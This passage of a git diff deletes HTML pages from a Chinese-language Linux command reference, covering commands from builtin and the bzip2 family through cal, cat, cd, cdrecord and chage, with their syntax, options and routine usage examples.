返回该内建命令执行的返回值,除非传递的不是bash内建命令或该内建命令被禁用。

-

例子

-

同名情况下的优先级顺序:

-

builtin 内建命令 > 函数 > 内建命令 > 外部命令

-
# 关于外部命令优先级最高的情况请参考enable命令。
-# 此时内建命令优先使用
-echo "the Great Wall"
-# 调用内建命令type,返回命令的类型(builtin)
-type -t echo
-# 定义 echo 函数
-echo(){
-    printf "123\n"
-}
-# 此时同名函数优先使用,显示(123)
-echo
-# 调用内建命令type,返回命令的类型(function)
-type -t echo
-# 此时内建命令优先使用
-builtin echo -e "backslash \\"
-
-
# 执行shell内部指令,输出当前系统下的命令别名
-builtin alias
-alias cp='cp -i'
-alias l.='ls -d .* --color=tty'
-alias ll='ls -l --color=tty'
-alias ls='ls --color=tty'
-alias mv='mv -i'
-alias rm='rm -i'
-alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
-
-

注意

-
    -
  1. -

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    -
  2. -
  3. -

    如果要调用的内建命令被禁用了(包括builtin),那么执行会报错;关于禁用和启用内建命令请参考enable命令。

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bunzip2.html b/linux-command.docset/Contents/Resources/Documents/c/bunzip2.html deleted file mode 100644 index 7d3d17b9a7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bunzip2.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - bunzip2 命令,Linux bunzip2 命令详解:创一个bz2文件压缩包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bunzip2

-

创一个bz2文件压缩包

-

补充说明

-

bunzip2命令 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接,即软链接,因此压缩解压都可以通过bzip2实现。

-

语法

-
bunzip2(选项)(参数)
-
-

选项

-
-f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件;
--k或——keep:在解压缩后,预设会删除原来的压缩文件。若要保留压缩文件,请使用此参数;
--s或——small:降低程序执行时,内存的使用量;
--v或——verbose:解压缩文件时,显示详细的信息;
--l,--license,-V或——version:显示版本信息。
-
-

参数

-

.bz2压缩包:指定需要解压缩的.bz2压缩包。

-

实例

-

/opt目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息。

-
bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip
-
-

压缩完毕后,在/opt下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bye.html b/linux-command.docset/Contents/Resources/Documents/c/bye.html deleted file mode 100644 index bec06b8f60..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bye.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - bye 命令,Linux bye 命令详解:命令用于中断FTP连线并结束程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bye

-

命令用于中断FTP连线并结束程序

-

补充说明

-

bye命令 在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行。

-

语法

-
bye
-
-

实例

-
bye
-
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzcat.html b/linux-command.docset/Contents/Resources/Documents/c/bzcat.html deleted file mode 100644 index 7eb1890343..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzcat.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - bzcat 命令,Linux bzcat 命令详解:解压缩指定的.bz2文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzcat

-

解压缩指定的.bz2文件

-

补充说明

-

bzcat命令 解压缩指定的.bz2文件,并显示解压缩后的文件内容。保留原压缩文件,并且不生成解压缩后的文件。

-

语法

-
bzcat(参数)
-
-

参数

-

.bz2压缩文件:指定要显示内容的.bz2压缩文件。

-

实例

-

/tmp/man.config以bzip2格式压缩:

-
bzip2 -z man.config
-
-

此时man.config会变成man.config.bz2

-

将上面的压缩文件内容读出来:

-
bzcat man.config.bz2
-
-

此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzcmp.html b/linux-command.docset/Contents/Resources/Documents/c/bzcmp.html deleted file mode 100644 index 14b5b6a936..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzcmp.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - bzcmp 命令,Linux bzcmp 命令详解:比较两个压缩包中的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzcmp

-

比较两个压缩包中的文件

-

补充说明

-

bzcmp命令 主要功能是在不真正解压缩.bz2压缩包的情况下,比较两个压缩包中的文件,省去了解压缩后在调用cmp命令的过程。

-

语法

-
bzcmp(参数)
-
-

参数

-
    -
  • 文件1:指定要比较的第一个.bz2压缩包;
  • -
  • 文件2:指定要比较的第二个.bz2压缩包。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzdiff.html b/linux-command.docset/Contents/Resources/Documents/c/bzdiff.html deleted file mode 100644 index 843e826933..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzdiff.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - bzdiff 命令,Linux bzdiff 命令详解:直接比较两个.bz2压缩包中文件的不同 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzdiff

-

直接比较两个.bz2压缩包中文件的不同

-

补充说明

-

bzdiff命令 用于直接比较两个“.bz2”压缩包中文件的不同,省去了解压缩后再调用diff命令的过程。

-

语法

-
bzdiff(参数)
-
-

参数

-
    -
  • 文件1:指定要比较的第一个.bz2压缩包;
  • -
  • 文件2:指定要比较的第二个.bz2压缩包。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzgrep.html b/linux-command.docset/Contents/Resources/Documents/c/bzgrep.html deleted file mode 100644 index b341466fe3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzgrep.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - bzgrep 命令,Linux bzgrep 命令详解:使用正则表达式搜索.bz2压缩包中文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzgrep

-

使用正则表达式搜索.bz2压缩包中文件

-

补充说明

-

bzgrep命令 使用正则表达式搜索“.bz2”压缩包中文件,将匹配的行显示到标注输出。

-

语法

-
bzgrep(参数)
-
-

参数

-
    -
  • 搜索模式:指定要搜索的模式;
  • -
  • .bz2文件:指定要搜索的.bz2压缩包。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzip2.html b/linux-command.docset/Contents/Resources/Documents/c/bzip2.html deleted file mode 100644 index 6698057e63..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzip2.html +++ /dev/null @@ -1,186 +0,0 @@ - - - - - - - - - - - bzip2 命令,Linux bzip2 命令详解:将文件压缩成bz2格式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzip2

-

将文件压缩成bz2格式

-

补充说明

-

bzip2命令 用于创建和管理(包括解压缩)“.bz2”格式的压缩包。

-

bzip2 采用 Burrows-Wheeler 块排序文本压缩算法和 Huffman 编码方式压缩文件。 压缩率一般比基于 LZ77/LZ78 的压缩软件好得多,其性能接近 PPM 族统计类压缩软件。

-

命令行参数有意设计为非常接近 GNU gzip 的形式,但也不完全相同。

-

bzip2 从命令行读入文件名和参数。 每个文件被名为 "原始文件名.bz2" 的压缩文件替换。 每个压缩文件具有与原文件相同的修改时间、 权限, 如果可能的话,还具有相同的属主, 因此在解压缩时这些特性将正确地恢复。 在某些文件系统中, 没有权限、 属主或时间的概念, 或者对文件名的长度有严格限制, 例如 MSDOS,在这种情况下,bzip2 没有保持原文件名、 属主、 权限以及时间的机制, 从这个意义上说,bzip2 对文件名的处理是幼稚的。

-

bzip2 和 bunzip2 在缺省情况下不覆盖已有的文件。 如果想覆盖已有的文件,要指定 -f 选项。

-

如果未指定文件名, bzip2 将压缩来自标准输入的数据并写往标准输出。在这种情况下, bzip2 会拒绝将压缩结果写往终端,因为这完全无法理解并且是没有意义的。

-

bunzip2 (以及 bzip2 -d) 对所有指定的文件进行解压缩处理。不是由 bzip2 产生的文件将被忽略,同时发出一个警告信息。 bzip2 按下列方式由压缩文件名确定解压后的文件名:

-
filename.bz2    解压成   filename
-filename.bz     解压成   filename
-filename.tbz2   解压成   filename.tar
-filename.tbz    解压成   filename.tar
-anyothername    解压成   anyothername.out
-
-

如果文件名的后缀不是下列之一: .bz2, .bz, .tbz2 或 .tbz, .bzip2 将抱怨无法确定原始文件名,并采用原文件名加 .out 作为解压缩文件名。

-

在压缩时,如果不提供文件名,bzip2 将从标准输入读取数据,压缩结果写往标准输出。

-

bzip2 采用 32 位 CRC 校验码作自我检查,以确认解压后的文件与原始文件相同。 这可用于检测压缩文件是否损坏,并防止 bzip2 中未知的缺陷(运气好的话这种可能性非常小)。 数据损坏而未检测到的几率非常之小, 对于每个被处理的文件大约是四十亿分之一。 检查是在解压缩时进行的,因此它只能说明某个地方出问题了。 它能帮助恢复原始未压缩的数据。可以用 bzip2recover 来尝试从损坏的文件中恢复数据。

-

返回值:正常退出返回 0, 出现环境问题返回 1 (文件未找到,非法的选项,I/O错误等), 返回 2 表明压缩文件损坏,出现导致 bzip2 紧急退出的内部一致性错误(例如缺陷)时返回 3。

-

语法

-
bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ...  ]
-
-

选项

-
-c --stdout
-    # 将数据压缩或解压缩至标准输出。
-
--d --decompress
-    # 强制解压缩。 bzip2, bunzip2 以及 bzcat 实际上是同一个程序,进行何种操作将根据程序名确定。  指定该选项后将不考虑这一机制,强制 bzip2 进行解压缩。
-
--z --compress
-    # -d 选项的补充:强制进行压缩操作,而不管执行的是哪个程序。
-
--t --test
-    # 检查指定文件的完整性,但并不对其解压缩。 实际上将对数据进行实验性的解压缩操作,而不输出结果。
-
--f --force
-    # 强制覆盖输出文件。通常 bzip2 不会覆盖已经存在的文件。该选项还强制 bzip2 打破文件的硬连接,缺省情况下 bzip2 不会这么做。
-
--k --keep
-    # 在压缩或解压缩时保留输入文件(不删除这些文件)。
-
--s --small
-    # 在压缩、解压缩及检查时减少内存用量。采用一种修正的算法进行压缩和测试,每个数据块仅需要 2.5 个字节。这意味着任何文件都可以在 2300k
-    # 的内存中进行解压缩, 尽管速度只有通常情况下的一半。
-
-    # 在压缩时,-s将选定 200k 的块长度,内存用量也限制在 200k 左右, 代价是压缩率会降低。 总之,如果机器的内存较少(8兆字节或更少),
-    # 可对所有操作都采用-s选项。参见下面的内存管理。
-
--q --quiet
-    # 压制不重要的警告信息。属于 I/O 错误及其它严重事件的信息将不会被压制。
-
--v --verbose
-    # 详尽模式 -- 显示每个被处理文件的压缩率。 命令行中更多的 -v 选项将增加详细的程度, 使 bzip2 显示出许多主要用于诊断目的信息。
-
--L --license -V --version
-    # 显示软件版本,许可证条款及条件。
-
--1 to -9
-    # 在压缩时将块长度设为 100 k、200 k ..  900 k。 对解压缩没有影响。参见下面的内存管理。
-
--- # 将所有后面的命令行变量看作文件名,即使这些变量以减号"-"打头。 可用这一选项处理以减号"-"打头的文件名, 例如:bzip2 -- -myfilename.
-
---repetitive-fast --repetitive-best
-    # 这些选项在 0.9.5 及其以上版本中是多余的。 在较早的版本中,这两个选项对排序算法的行为提供了一些粗糙的控制,有些情况下很有用。 0.9.5
-    # 及其以上版本采用了改进的算法而与这些选项无关。
-
-

参数

-

文件:指定要压缩的文件。

-

实例

-

压缩指定文件filename:

-
bzip2 filename
-或
-bzip2 -z filename
-
-

这里,压缩的时候不会输出,会将原来的文件filename给删除,替换成filename.bz2.如果以前有filename.bz2则不会替换并提示错误(如果想要替换则指定-f选项,例如bzip2 -f filename;如果filename是目录则也提醒错误不做任何操作;如果filename已经是压过的了有bz2后缀就提醒一下,不再压缩,没有bz2后缀会再次压缩。

-

解压指定的文件filename.bz2:

-
bzip2 -d filename.bz2
-或
-bunzip2 filename.bz2
-
-

这里,解压的时候没标准输出,会将原来的文件filename.bz2给替换成filename。如果以前有filename则不会替换并提示错误(如果想要替换则指定-f选项,例如bzip2 -df filename.bz2

-

压缩解压的时候将结果也输出:

-
$bzip2 -v filename
-
-

输入之后,输出如下:

-
filename:  0.119:1, 67.200 bits/byte, -740.00% saved, 5 in, 42 out.
-
-

这里,加上-v选项就会输出了,只用压缩举例了,解压的时候同理bzip2 -dv filename.bz2不再举例了。

-

模拟解压实际并不解压:

-
bzip2 -tv filename.bz2
-
-

输入之后,输出如下:

-
filename.bz2: ok
-
-

这里,-t指定要进行模拟解压,不实际生成结果,也就是说类似检查文件,当然就算目录下面有filename也不会有什么错误输出了,因为它根本不会真的解压文件。为了在屏幕上输出,这里加上-v选项了,如果是真的解压bzip2 -dv filename.bz2则输出的是把"ok"替换成了"done"。

-

压缩解压的时候,除了生成结果文件,将原来的文件也保存:

-
bzip2 -k filename
-
-

这里,加上-k就保存原始的文件了,否则原始文件会被结果文件替代。只用压缩举例了,解压的时候同理$bzip2 -dk filename.bz2不再举例了。

-

解压到标准输出:

-
bzip2 -dc filename.bz2
-
-

输入之后,输出如下:

-
hahahhaahahha
-
-

这里,使用-c指定到标准输出,输出的是文件filename的内容,不会将filename.bz2删除。

-

压缩到标准输出:

-
bzip2 -c filename
-bzip2: I won't write compressed data to a terminal.
-bzip2: For help, type: `bzip2 --help'.
-
-

这里,使用-c指定压缩到标准输出不删除原有文件,不同的是,压缩后的文件无法输出到标准输出。

-

使用bzip2的时候将所有后面的看作文件(即使文件名以'-'开头):

-
bzip2 -- -myfilename
-
-

这里主要是为了防止文件名中-产生以为是选项的歧义。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzip2recover.html b/linux-command.docset/Contents/Resources/Documents/c/bzip2recover.html deleted file mode 100644 index 3dea04b767..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzip2recover.html +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - bzip2recover 命令,Linux bzip2recover 命令详解:恢复被破坏的.bz2压缩包中的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzip2recover

-

恢复被破坏的.bz2压缩包中的文件

-

补充说明

-

bzip2recover命令 可用于恢复被破坏的“.bz2”压缩包中的文件。

-

bzip2是以区块的方式来压缩文件,每个区块视为独立的单位。因此,当某一区块损坏时,便可利用bzip2recover,试着将文件中的区块隔开来,以便解压缩正常的区块。通常只适用在压缩文件很大的情况。

-

语法

-
bzip2recover(参数)
-
-

参数

-

文件:指定要恢复数据的.bz2压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzless.html b/linux-command.docset/Contents/Resources/Documents/c/bzless.html deleted file mode 100644 index 6d81a314cd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzless.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - bzless 命令,Linux bzless 命令详解:增强.bz2压缩包查看器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzless

-

增强.bz2压缩包查看器

-

补充说明

-

bzless命令 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。

-

语法

-
bzless(参数)
-
-

参数

-

文件:指定要分屏显示的.bz2压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bzmore.html b/linux-command.docset/Contents/Resources/Documents/c/bzmore.html deleted file mode 100644 index 1871b89f1e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bzmore.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - bzmore 命令,Linux bzmore 命令详解:查看bzip2压缩过的文本文件的内容 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bzmore

-

查看bzip2压缩过的文本文件的内容

-

补充说明

-

bzmore命令 用于查看bzip2压缩过的文本文件的内容,当下一屏显示不下时可以实现分屏显示。

-

语法

-
bzmore(参数)
-
-

参数

-

文件:指定要分屏显示的.bz2压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cal.html b/linux-command.docset/Contents/Resources/Documents/c/cal.html deleted file mode 100644 index b30d50e012..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cal.html +++ /dev/null @@ -1,122 +0,0 @@ - - - - - - - - - - - cal 命令,Linux cal 命令详解:显示当前日历或指定日期的日历 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cal

-

显示当前日历或指定日期的日历

-

补充说明

-

cal命令 用于显示当前日历,或者指定日期的日历,如果没有指定参数,则显示当前月份。

-

一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没有指定参数, -则显示当前月份的日历.

-

一年从Jan 1 (1 月 1 日) 开始.

-

格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 -天在这项改革被略去了, 所以那个月的日历有点不太寻常.

-

语法

-
cal [ -mjy ] [ 月份 ] [ 年份 ]
-
-

选项

-
-l # 显示单月输出;
--3 # 显示临近三个月的日历;
--s # 将星期日作为月的第一天;
--m # 显示星期一作为一周的第一天..  (缺省为星期日.)
--j # 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) .
--y # 显示当前年份的日历..
-
-

参数

-
月:指定月份;
-年:指定年份。
-
-

实例

-

单独执行cal命令会打印出日历:

-
[root@localhost ~]# cal
-    十二月 2013     
-日 一 二 三 四 五 六
- 1  2  3  4  5  6  7
- 8  9 10 11 12 13 14
-15 16 17 18 19 20 21
-22 23 24 25 26 27 28
-29 30 31
-
-
[root@localhost ~]# cal -j
-        十二月 2013        
-  日   一   二   三   四   五   六
-335 336 337 338 339 340 341
-342 343 344 345 346 347 348
-349 350 351 352 353 354 355
-356 357 358 359 360 361 362
-363 364 365
-
-
[root@localhost ~]# cal -3
-    十一月 2013           十二月 2013            一月 2014      
-日 一 二 三 四 五 六  日 一 二 三 四 五 六  日 一 二 三 四 五 六
-                1  2   1  2  3  4  5  6  7            1  2  3  4
- 3  4  5  6  7  8  9   8  9 10 11 12 13 14   5  6  7  8  9 10 11
-10 11 12 13 14 15 16  15 16 17 18 19 20 21  12 13 14 15 16 17 18
-17 18 19 20 21 22 23  22 23 24 25 26 27 28  19 20 21 22 23 24 25
-24 25 26 27 28 29 30  29 30 31              26 27 28 29 30 31  
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cancel.html b/linux-command.docset/Contents/Resources/Documents/c/cancel.html deleted file mode 100644 index df7589becf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cancel.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - cancel 命令,Linux cancel 命令详解:取消已存在的打印任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cancel

-

取消已存在的打印任务

-

补充说明

-

cancel命令 用于取消已存在的打印任务。

-

语法

-
cancel(选项)(参数)
-
-

选项

-
-a:取消所有打印任务;
--E:当连接到服务器时强制使用加密;
--U:指定连接服务器时使用的用户名;
--u:指定打印任务所属的用户;
--h:指定连接的服务器名和端口号。
-
-

参数

-

打印任务号:指定要取消的打印任务编号。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cat.html b/linux-command.docset/Contents/Resources/Documents/c/cat.html deleted file mode 100644 index d638888c87..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cat.html +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - - - - - cat 命令,Linux cat 命令详解:连接多个文件并打印到标准输出。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cat

-

连接多个文件并打印到标准输出。

-

概要

-
cat [OPTION]... [FILE]...
-
-

主要用途

-
    -
  • 显示文件内容,如果没有文件或文件为-则读取标准输入。
  • -
  • 将多个文件的内容进行连接并打印到标准输出。
  • -
  • 显示文件内容中的不可见字符(控制字符、换行符、制表符等)。
  • -
-

参数

-

FILE(可选):要处理的文件,可以为一或多个。

-

选项

-
长选项与短选项等价
-
--A, --show-all           等价于"-vET"组合选项。
--b, --number-nonblank    只对非空行编号,从1开始编号,覆盖"-n"选项。
--e                       等价于"-vE"组合选项。
--E, --show-ends          在每行的结尾显示'
-
- - - - - - -
字符。 --n, --number 对所有行编号,从1开始编号。 --s, --squeeze-blank 压缩连续的空行到一行。 --t 等价于"-vT"组合选项。 --T, --show-tabs 使用"^I"表示TAB(制表符)。 --u POSIX兼容性选项,无意义。 --v, --show-nonprinting 使用"^""M-"符号显示控制字符,除了LFD(line feed,即换行符'\n')和TAB(制表符)。 - ---help 显示帮助信息并退出。 ---version 显示版本信息并退出。 - -

返回值

-

返回状态为成功除非给出了非法选项或非法参数。

-

例子

-
# 合并显示多个文件
-cat ./1.log ./2.log ./3.log
-# 显示文件中的非打印字符、tab、换行符
-cat -A test.log
-# 压缩文件的空行
-cat -s test.log
-# 显示文件并在所有行开头附加行号
-cat -n test.log
-# 显示文件并在所有非空行开头附加行号
-cat -b test.log
-# 将标准输入的内容和文件内容一并显示
-echo '######' |cat - test.log
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 catinfo coreutils 'cat invocation'
  2. -
  3. 当使用cat命令查看体积较大的文件时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容,为了控制滚屏,可以按Ctrl+s键停止滚屏;按Ctrl+q键恢复滚屏;按Ctrl+c(中断)键可以终止该命令的执行,返回Shell提示符状态。
  4. -
  5. 建议您查看体积较大的文件时使用lessmore命令或emacsvi等文本编辑器。
  6. -
-

参考链接

-
    -
  1. Question about LFD key
  2. -
- - - - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cd.html b/linux-command.docset/Contents/Resources/Documents/c/cd.html deleted file mode 100644 index 6eaa81069e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cd.html +++ /dev/null @@ -1,137 +0,0 @@ - - - - - - - - - - - cd 命令,Linux cd 命令详解:切换用户当前工作目录。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cd

-

切换用户当前工作目录。

-

概要

-
cd [-L|[-P [-e]]] [dir]
-
-

主要用途

-
    -
  • 切换工作目录至dir。其中dir的表示法可以是绝对路径或相对路径。
  • -
  • 若参数dir省略,则默认为使用者的shell变量HOME
  • -
  • 如果dir指定为~时表示为使用者的shell变量HOME.表示当前目录,..表示当前目录的上一级目录。
  • -
  • 环境变量CDPATH是由冒号分割的一到多个目录,你可以将常去的目录的上一级加入到CDPATH以便方便访问它们;如果dir/开头那么CDPATH不会被使用。
  • -
  • shopt选项cdable_vars打开时,如果dirCDPATH及当前目录下均不存在,那么会把它当作变量,读取它的值作为要进入的目录。
  • -
-

参数

-

dir(可选):指定要切换到的目录。

-

选项

-
-L (默认值)如果要切换到的目标目录是一个符号连接,那么切换到符号连接的目录。
--P 如果要切换到的目标目录是一个符号连接,那么切换到它指向的物理位置目录。
--  当前工作目录将被切换到环境变量OLDPWD所表示的目录,也就是前一个工作目录。
-
-

返回值

-

返回状态为成功除非无法进入指定的目录。

-

例子

-
cd    # 进入用户主目录;
-cd /  # 进入根目录
-cd ~  # 进入用户主目录;
-cd ..  # 返回上级目录(若当前目录为“/“,则执行完后还在“/";".."为上级目录的意思);
-cd ../..  # 返回上两级目录;
-cd !$  # 把上个命令的参数作为cd参数使用。
-
-

关于切换到上一个工作目录的说明

-
cd -
-# 命令会首先显示要切换到的目标目录,然后再进入。
-cd ${OLDPWD}
-# 命令会直接切换到上一个工作目录。
-
-

关于CDPATH

-
# 设置桌面文件夹作为CDPATH的值。
-CDPATH='~/Desktop'
-# 假设我们接下来要演示涉及到的路径~和~/Desktop下没有test3文件夹,现在新建它们。
-mkdir ~/test3
-mkdir ~/Desktop/test3
-# 进入~目录。
-cd ~
-# 进入test3目录。
-cd test3
-# 执行后显示~/Desktop/test3并进入该目录,而不是~目录的test3目录。
-# 如果CDPATH存在值,那么优先在CDPATH中查找并进入第一个匹配成功的,如果全部失败那么最后尝试当前目录。
-
-

关于cdable_vars

-
# 打开选项。
-shopt -s cdable_vars
-# 假设当前路径以及CDPATH没有名为new_var的目录。
-new_var='~/Desktop'
-# 尝试进入。
-cd new_var
-# 关闭选项。
-shopt -u cdable_vars
-
-

注意

-
    -
  1. -

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    -
  2. -
  3. -

    建议您在编写脚本的过程中如有必要使用cd命令时,请增加必要的注释以用于提醒阅读者当前工作目录,以免出现诸如找不到文件这类问题的发生。

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cdrecord.html b/linux-command.docset/Contents/Resources/Documents/c/cdrecord.html deleted file mode 100644 index 3041e78364..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cdrecord.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - cdrecord 命令,Linux cdrecord 命令详解:Linux系统下光盘刻录功能命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cdrecord

-

Linux系统下光盘刻录功能命令

-

补充说明

-

cdrecord命令 用于Linux系统下光盘刻录,它支持cd和DVD格式。linux下一般都带有cdrecord软件。

-

语法

-
cdrecord(选项)(参数)
-
-

选项

-
-v:显示刻录光盘的详细过程;
--eject:刻录完成后弹出光盘;
-speed=<刻录倍速>:指定光盘刻录的倍速;
-dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机的设备号;
--scanbus:扫描系统中可用的刻录机。
-
-

参数

-

ISO文件:指定刻录光盘使用的ISO映像文件。

-

实例

-

查看系统所有 CD-R(w) 设备:

-
cdrecord -scanbus
-scsibus0:
-  0,0,0     0) *
-  0,1,0     1) *
-  0,2,0     2) *
-  0,3,0     3) 'HP      ' 'CD-Writer+ 9200 ' '1.0c' Removable CD-ROM
-
-

用iso文件刻录一张光盘:

-
cdrecord -v -eject speed=4 dev=0,3,0 backup.iso
-
-

参数解释

-
    -
  • -v:显示刻录光盘的详细过程
  • -
  • -eject:刻完自动弹出光盘
  • -
  • speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上。
  • -
-

擦写光驱:

-
cdrecord --dev=0,3,0 --blank=fast
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/chage.html b/linux-command.docset/Contents/Resources/Documents/c/chage.html deleted file mode 100644 index 9fac7a087f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/chage.html +++ /dev/null @@ -1,136 +0,0 @@ - - - - - - - - - - - chage 命令,Linux chage 命令详解:修改帐号和密码的有效期限 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

chage

-

修改帐号和密码的有效期限

-

补充说明

-

chage命令 是用来修改帐号和密码的有效期限。

-

语法

-
chage [选项] 用户名
-
-

选项

-
-m:密码可更改的最小天数。为零时代表任何时候都可以更改密码。
--M:密码保持有效的最大天数。
--w:用户密码到期前,提前收到警告信息的天数。
--E:帐号到期的日期。过了这天,此帐号将不可用。
--d:上一次更改的日期。
--i:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。
--l:例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。
-
-

实例

-

可以编辑/etc/login.defs来设定几个参数,以后设置口令默认就按照参数设定为准:

-
PASS_MAX_DAYS   99999
-PASS_MIN_DAYS   0
-PASS_MIN_LEN    5
-PASS_WARN_AGE   7
-
-

当然在/etc/default/useradd可以找到如下2个参数进行设置:

-
# useradd defaults file
-GROUP=100
-HOME=/home
-INACTIVE=-1
-EXPIRE=
-SHELL=/bin/bash
-SKEL=/etc/skel
-CREATE_MAIL_SPOOL=yes
-
-

通过修改配置文件,能对之后新建用户起作用,而目前系统已经存在的用户,则直接用chage来配置。

-

我的服务器root帐户密码策略信息如下:

-
